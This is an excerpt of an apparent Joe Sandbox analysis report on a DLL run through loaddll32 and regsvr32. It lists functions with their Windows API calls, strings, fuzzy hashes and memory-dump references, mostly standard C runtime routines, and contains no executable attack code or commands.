Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID:
String ID: C:\Windows\system32\loaddll32.exe
API String ID: 0-1062229814
Opcode ID: 96dea70dbb67acff7cdfd227918bc75005dc79a57b36e044078314c6b2b7b0ec
Instruction ID: 78ff3708298f19f8692134195727c5b3b7ed23311ca71f7db425a454cdcb9d8a
Opcode Fuzzy Hash: 96dea70dbb67acff7cdfd227918bc75005dc79a57b36e044078314c6b2b7b0ec
Instruction Fuzzy Hash: 3D218EB1604205AFDB009FE5CC8499B77BEAF853687108F29E924DB190EB30ED118F70

Function 6E9B41F3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,2C30112C,?,?,00000000,6E9BEC9D,000000FF,?,6E9B418D,00000000,?,6E9B4161,6E9B1014), ref: 6E9B4228
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6E9B423A
FreeLibrary.KERNEL32(00000000,?,?,00000000,6E9BEC9D,000000FF,?,6E9B418D,00000000,?,6E9B4161,6E9B1014), ref: 6E9B425C

Strings

mscoree.dll, xrefs: 6E9B4221
CorExitProcess, xrefs: 6E9B4232

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: fc82504d600a3667d7a6525173468826657149cc005e179e4a9ba1113eca129f
Instruction ID: 2175c024cf1595cad79d4847aee25f90f7d6e6c660edaf4c7957240c874319f9
Opcode Fuzzy Hash: fc82504d600a3667d7a6525173468826657149cc005e179e4a9ba1113eca129f
Instruction Fuzzy Hash: 35011275918A19EBDF029F94CC08BAF7BBCFF45719F104625E921A6290DB74D900DE50

Function 6E9BA6E5 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 6E9BA76A
__alloca_probe_16.LIBCMT ref: 6E9BA833
__freea.LIBCMT ref: 6E9BA89A

Part of subcall function 6E9B9163: RtlAllocateHeap.NTDLL(00000000,6E9B76AF,6E9B8E7D,?,6E9B76AF,00000220,?,?,6E9B8E7D), ref: 6E9B9195

__freea.LIBCMT ref: 6E9BA8AD
__freea.LIBCMT ref: 6E9BA8BA

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 1d5df7894f07759f4456835976221f6ba45691b7314c296bedcc77734ff462fe
Instruction ID: cf736c632554f059c1f11c4ca147053dde50b1e1d198450b873a375fcff86882
Opcode Fuzzy Hash: 1d5df7894f07759f4456835976221f6ba45691b7314c296bedcc77734ff462fe
Instruction Fuzzy Hash: 05519372A0020AAFEB558EE5CC84EEB36ADDF95714B110929FD24D6650E7B5CC11CEA0

Function 6E9B2EB4 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,6E9B2E65,00000000,?,00000001,?,?,?,6E9B2F54,00000001,FlsFree,6E9BFBE0,FlsFree), ref: 6E9B2EC1
GetLastError.KERNEL32(?,6E9B2E65,00000000,?,00000001,?,?,?,6E9B2F54,00000001,FlsFree,6E9BFBE0,FlsFree,00000000,?,6E9B2431), ref: 6E9B2ECB
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 6E9B2EF3

Strings

api-ms-, xrefs: 6E9B2ED8

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 10ff7841a6d2d4a5974f5fd6865342c5ac546652d815690011ceac605685170d
Instruction ID: d8e229e63a1667efc60e3f90ae96cf2dcc2a79fdceede60684fb296ee430c78b
Opcode Fuzzy Hash: 10ff7841a6d2d4a5974f5fd6865342c5ac546652d815690011ceac605685170d
Instruction Fuzzy Hash: DAE01A71648606B6EF101AA2DC05B4B3E69EF01B49F208420F90CE84A5EB72D4509954

Function 6E9BAE87 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(2C30112C,00000000,00000000,?), ref: 6E9BAEEA

Part of subcall function 6E9B7D04: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6E9BA890,?,00000000,-00000008), ref: 6E9B7D65

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6E9BB13C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6E9BB182
GetLastError.KERNEL32 ref: 6E9BB225

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 10c881555a1b1bd4c015629acb6713ab718b52aac53986c25d12b5de10af1c16
Instruction ID: 357750fd07c7cbe4e93f735867e7b3b0f8ae60505e709fc36b08a4a22db3a10b
Opcode Fuzzy Hash: 10c881555a1b1bd4c015629acb6713ab718b52aac53986c25d12b5de10af1c16
Instruction Fuzzy Hash: 21D169B5D042499FDB05CFE8C8D0AEEBBB9EF59304F14452AE825EB285E630E941CF50

Function 6E9B3038 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6E9B30FF
___AdjustPointer.LIBCMT ref: 6E9B3122
___AdjustPointer.LIBCMT ref: 6E9B31BE

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: dc8d79c544b212f9714f70306e6ed1cf1182b48fd819aa8410cc8c6b0cb075bc
Instruction ID: b904a2aaa6d5bec3eeeed0f5aecf1be3354354367e75cdaba68cc0e1ee3f372d
Opcode Fuzzy Hash: dc8d79c544b212f9714f70306e6ed1cf1182b48fd819aa8410cc8c6b0cb075bc
Instruction Fuzzy Hash: C451D0B2A05206EFEB15CFE5D858BAB73ACEF45710F10492DE91547290E7B1E880CF90

Function 6E9B6AA6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 6E9B7D04: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6E9BA890,?,00000000,-00000008), ref: 6E9B7D65

GetLastError.KERNEL32 ref: 6E9B6B0A
__dosmaperr.LIBCMT ref: 6E9B6B11
GetLastError.KERNEL32(?,?,?,?), ref: 6E9B6B4B
__dosmaperr.LIBCMT ref: 6E9B6B52

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 4bb1455f9f55fd9ccf048091db378758218ed83833cbe5d962d4a16c5a55b28d
Instruction ID: 6f3e8642d07cf336b6bfbd6987808b6f777d71f1d11116abd7589f6f65b4fc5e
Opcode Fuzzy Hash: 4bb1455f9f55fd9ccf048091db378758218ed83833cbe5d962d4a16c5a55b28d
Instruction Fuzzy Hash: 1A218071A28215AFDB109FE5C880C9BBBBEEF853687108929E815D7251DB70FC00CFA0

Function 6E9BCC26 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,6E9BC3D8,00000000,00000001,00000000,?,?,6E9BB279,?,00000000,00000000), ref: 6E9BCC3D
GetLastError.KERNEL32(?,6E9BC3D8,00000000,00000001,00000000,?,?,6E9BB279,?,00000000,00000000,?,?,?,6E9BB81C,00000000), ref: 6E9BCC49

Part of subcall function 6E9BCC0F: CloseHandle.KERNEL32(FFFFFFFE,6E9BCC59,?,6E9BC3D8,00000000,00000001,00000000,?,?,6E9BB279,?,00000000,00000000,?,?), ref: 6E9BCC1F

___initconout.LIBCMT ref: 6E9BCC59

Part of subcall function 6E9BCBD1: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6E9BCC00,6E9BC3C5,?,?,6E9BB279,?,00000000,00000000,?), ref: 6E9BCBE4

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,6E9BC3D8,00000000,00000001,00000000,?,?,6E9BB279,?,00000000,00000000,?), ref: 6E9BCC6E

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 5fd6f526e679257cd477c52ae3a84d3fe211bd9b04c1842cba9458cba5c34c7a
Instruction ID: 5bb1cdbfed7910f3db9c64ffc3b1423c799823a0aa05f2997a177078c5abf71e
Opcode Fuzzy Hash: 5fd6f526e679257cd477c52ae3a84d3fe211bd9b04c1842cba9458cba5c34c7a
Instruction Fuzzy Hash: B5F01C36454514BBCF122FD5CC089DB3F6AEF4ABA4B148810FA1899120C632C920DBA1

Function 6E9B3634 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 6E9B3659

Strings

MOC, xrefs: 6E9B366B
RCC, xrefs: 6E9B3673

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: c9825f1e15f7eea5c8ec5168fb7bf7370ad903065a06b09d03d8131d82b49c60
Instruction ID: eb3cad915bf845ea954d5c9dee19aaa96e95efd47c032e992fa43fbec4dcadaf
Opcode Fuzzy Hash: c9825f1e15f7eea5c8ec5168fb7bf7370ad903065a06b09d03d8131d82b49c60
Instruction Fuzzy Hash: A641247190020AEBDF06CFA8CD89AEE7BBAEF48304F148199E914A7221D375E951DF51

Analysis Process: regsvr32.exePID: 2792, Parent PID: 3212COMMON

Execution Graph

Execution Coverage:	4.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1259
Total number of Limit Nodes:	22

Executed Functions

Function 6E9B5A1D Relevance: 16.7, APIs: 11, Instructions: 188
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6E9B5602: HeapFree.KERNEL32(00000000,00000000,?,6E9B4C74), ref: 6E9B5618
Part of subcall function 6E9B5602: GetLastError.KERNEL32(?,?,6E9B4C74), ref: 6E9B5623

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B4E
GetExitCodeProcess.KERNELBASE(?,?), ref: 6E9B5B5B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B70
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B7B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B86
__dosmaperr.LIBCMT ref: 6E9B5B8D
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B98
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5BA3
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5BB5
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5BC0
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5BF1

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: CloseHandle$ErrorLast$CodeExitFreeHeapObjectProcessSingleWait__dosmaperr
String ID:
API String ID: 2764183375-0
Opcode ID: 769d1abba2d1fd3759fdc7e1faaf19780ec6971da330fb5263fe2f3866e85d12
Instruction ID: 9a1786106f481169e8a40bf0666839504565cfc77c975341344522898b244ae5
Opcode Fuzzy Hash: 769d1abba2d1fd3759fdc7e1faaf19780ec6971da330fb5263fe2f3866e85d12
Instruction Fuzzy Hash: CC5157B1C04209EFDF02AFE4C899AEF7BBEEF85319F108465E910A6150DB31CA44DE61

Function 6E9B117D Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6E9B11C4
___scrt_uninitialize_crt.LIBCMT ref: 6E9B11DE

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 1ee410048c433e03df18d3e5399ec482279d72d34edda5c6f16eef1a47008bc9
Instruction ID: 44d2ce557b0beb4a6e3c914e342d420e126ee3e9b907804e9d3474a51ccf467b
Opcode Fuzzy Hash: 1ee410048c433e03df18d3e5399ec482279d72d34edda5c6f16eef1a47008bc9
Instruction Fuzzy Hash: 2A41D372E05619AEDB109FDBC840BAF3ABDEF97B94F104419E810AB240D730CD098FA0

Function 6E9B582A Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strrchr.LIBCMT ref: 6E9B586D
_strrchr.LIBCMT ref: 6E9B5877
_strrchr.LIBCMT ref: 6E9B588C

Part of subcall function 6E9B5602: HeapFree.KERNEL32(00000000,00000000,?,6E9B4C74), ref: 6E9B5618
Part of subcall function 6E9B5602: GetLastError.KERNEL32(?,?,6E9B4C74), ref: 6E9B5623

Part of subcall function 6E9B551E: IsProcessorFeaturePresent.KERNEL32(00000017,6E9B550D,?,6E9B8FEA,?,6E9B8E7D,00000000,?,00000000,?,6E9B5484,?,00000000,6E9B8E7D,?,6E9B8FEA), ref: 6E9B5520
Part of subcall function 6E9B551E: GetCurrentProcess.KERNEL32(C0000417,6E9B8FEA,?,00000000,?,00000000,?,?,6E9B8FEA,?,6E9B8E7D,00000000,?,00000000,6E9B8E7D,?), ref: 6E9B5543
Part of subcall function 6E9B551E: TerminateProcess.KERNEL32(00000000,?,6E9B8FEA,?,6E9B8E7D,00000000,?,00000000,6E9B8E7D,?,00000000,00000000,6E9C4988,0000002C,6E9B8EEE,?), ref: 6E9B554A

Strings

.com, xrefs: 6E9B5997, 6E9B59A1

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: _strrchr$Process$CurrentErrorFeatureFreeHeapLastPresentProcessorTerminate
String ID: .com
API String ID: 3694955208-4200470757
Opcode ID: 7f4071b2a924506b6a4a599897e1527a1c74c629b88ff33c2973b6adb9a49551
Instruction ID: bcb4d47ed8aa2000cfae0ccf414cfcfc9dc31d34c4dfa707a5d627a7936c449d
Opcode Fuzzy Hash: 7f4071b2a924506b6a4a599897e1527a1c74c629b88ff33c2973b6adb9a49551
Instruction Fuzzy Hash: 225127725183017BEB065AF5DC91BDB376F9F92768F640929E800AA185FB71D901CE60

Function 6E9B122D Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6E9B126A
dllmain_crt_dispatch.LIBCMT ref: 6E9B1281
dllmain_raw.LIBCMT ref: 6E9B12C9
dllmain_crt_dispatch.LIBCMT ref: 6E9B12DC
dllmain_raw.LIBCMT ref: 6E9B12EF

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: b6c945e1b583c371edd56800f071c3d852892af23eaf362e9c8786f112086ea5
Instruction ID: 8617da2c342937c19a659e4db7ddce9d6ef32f6d77ec48fa425d8b32fe9c8c05
Opcode Fuzzy Hash: b6c945e1b583c371edd56800f071c3d852892af23eaf362e9c8786f112086ea5
Instruction Fuzzy Hash: 5E218071D05259AEDB514FD7C840AAF3A7DDF83A94F104529FC149A214E331CD198FE0

Function 6E9B4167 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,?,6E9B4161,6E9B1014,6E9B1014,?,00000000,224FF640,6E9B1014,00000000), ref: 6E9B4178
TerminateProcess.KERNEL32(00000000,?,6E9B4161,6E9B1014,6E9B1014,?,00000000,224FF640,6E9B1014,00000000), ref: 6E9B417F
ExitProcess.KERNEL32 ref: 6E9B4191

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 973edddee2a1b23d83845a2b08e128e28e335d5397fecb043ad5254e8d7449c1
Instruction ID: ab696afcd0e0014a3645eff724ae3d24bc4d8e768588a713833b4db7220e5cb7
Opcode Fuzzy Hash: 973edddee2a1b23d83845a2b08e128e28e335d5397fecb043ad5254e8d7449c1
Instruction Fuzzy Hash: 70D06776808508ABCF012FA0CC0C88A3F69AFA16497204410F91945031EB31D997AE90

Function 6E9B1076 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6E9B10C3

Part of subcall function 6E9B1546: InitializeSListHead.KERNEL32(6E9C6C30,6E9B10CD,6E9C44D8,00000010,6E9B105E,?,?,?,6E9B1286,?,00000001,?,?,00000001,?,6E9C4520), ref: 6E9B154B

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6E9B112D

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 9a7754c87b1732b5761392d7ebd8bac79591141506c0c46e59ab4ebeddbee7ba
Instruction ID: 5bb19186071c5959b80832c0db9e4f19cb3968b62d237b053b76b8c5ac98dce6
Opcode Fuzzy Hash: 9a7754c87b1732b5761392d7ebd8bac79591141506c0c46e59ab4ebeddbee7ba
Instruction Fuzzy Hash: 6321F3325492029ADB04ABEAC8113EF37AD9FA766CF200C19D4516B282CB72C44DCE66

Function 6E9B6897 Relevance: 2.6, APIs: 2, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,6E9B55F4,6E9B5637,?,?,6E9B4C74), ref: 6E9B689B
SetLastError.KERNEL32(00000000), ref: 6E9B693D

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 635c179e07082ba20f4c82a2a05adb5effa2e42861d67d66d533494dc455ea6f
Instruction ID: 9468c2673b51d13438420540f4b175e10f2302f65a8986bc0449c7432052da6b
Opcode Fuzzy Hash: 635c179e07082ba20f4c82a2a05adb5effa2e42861d67d66d533494dc455ea6f
Instruction Fuzzy Hash: D8110CB1668611BED711AAF98CC4DAF365D9F53BB87100D34F51891192DB70E805CD21

Function 6E9B99E0 Relevance: 1.6, APIs: 1, Instructions: 89
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000001,?,?,?,00000000,?,00000000,00000001,00000000,?,?,?,?,00000000,?), ref: 6E9B9A95

Memory Dump Source

Source File: 00000003.00000002.2352237932.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000003.00000002.2352218330.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352262112.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352285311.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2352303760.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9b0000_regsvr32.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9476f1033bd158d83e9b2829b6659a800b6e153cd7b186b39b2f70f79a908a25
